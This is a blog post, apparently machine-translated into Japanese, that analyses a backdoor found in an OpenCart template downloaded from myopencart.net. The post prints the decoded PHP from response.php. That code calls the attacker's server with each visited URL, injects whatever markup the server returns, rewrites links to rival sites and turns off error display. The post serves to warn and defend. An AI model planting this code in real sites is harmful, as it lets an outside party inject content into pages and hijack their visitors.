myopencart.netの単一のテンプレートまたはバックドアのストーリー

まえがき



友人から、CMS Opencartにテンプレートをインストールできない理由を確認するように依頼されました。



サイトへのリンク、管理部分へのアクセス、ホスティングを送信します。 入ってみると、themesディレクトリにテンプレートがあります( / catalog / view / theme / )。 システムの構造を少し理解しているので、たとえばWordPressのように、テンプレートをロードするツールがないことを理解しています。 新しいテーマを追加するには、必要なファイルを特定のフォルダーにダウンロードします。 また、CMSはテーマフォルダーをスキャンして、使用可能なテンプレートについて「学習」します。



そのため、問題の解決策は一般的なもので、テンプレートは単純に誤ってロードされました。 この場合、サイトのルートからダウンロードする必要がありました。



デノウメント



これで話は終わりましたが、アーカイブには「余分な」ファイルがあり、テンプレートに関係のない既存のファイルを置き換えました。 そして、私はそこに何が欠けているのか、何を交換する必要があるのか​​疑問に思っていました。

コントローラー、ローカリゼーションファイルにいくつかのスクリプトが追加され、 /system/library/response.phpに置き換えられました



最後のファイルが最も興味深いものであることが判明しました。次の行が見つかりました。

base64
$ouput = eval(base64_decode('='));
      
      







もちろん、これは元のファイルにはありませんでした。



デコード後、これは当然バックドアであることが判明しました。

関数get_page
 function get_page($url){ $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9'; $ch=curl_init(); curl_setopt ($ch, CURLOPT_URL,$url ); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch,CURLOPT_VERBOSE,false); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $page=curl_exec($ch); $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); switch($httpcode){ case '200': return $page; break; case '404'; return false; break; } } if ($ftend = get_page("http://myopencart.net/googlecode/api/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){ $find = array("</body>", "</html>", "opencart.com", "maxzon.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by"); $replace = array("", $ftend, "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net"); $ouput = str_replace($find, $replace, $ouput); ini_set("display_errors","off"); error_reporting(0); echo $ouput;} else { echo $ouput; }
      
      







このコードは、競合他社と公式サイトのリンクを置き換えるだけでなく、ページのコンテンツを管理することもできます。



上記のサーバーから応答が返されます。

 </body></html>
      
      





しかし、JSのphpコードを返すことを妨げるものは何ですか。



そのようなこと。



おわりに



恐れを確認して確認するために、「パートナー」セクションの公式サイトopencart.comにアクセスしました。 オフィスはどこに記載されていますか。 RFサイトはopencart.ruであり、実際、myopencart.netがフィッシングサイトであることを確認しています。



注意して、インストールするものを確認してください!



UPD
PHPコードについては、攻撃されたサーバーで実行できないことがわかりました。




All Articles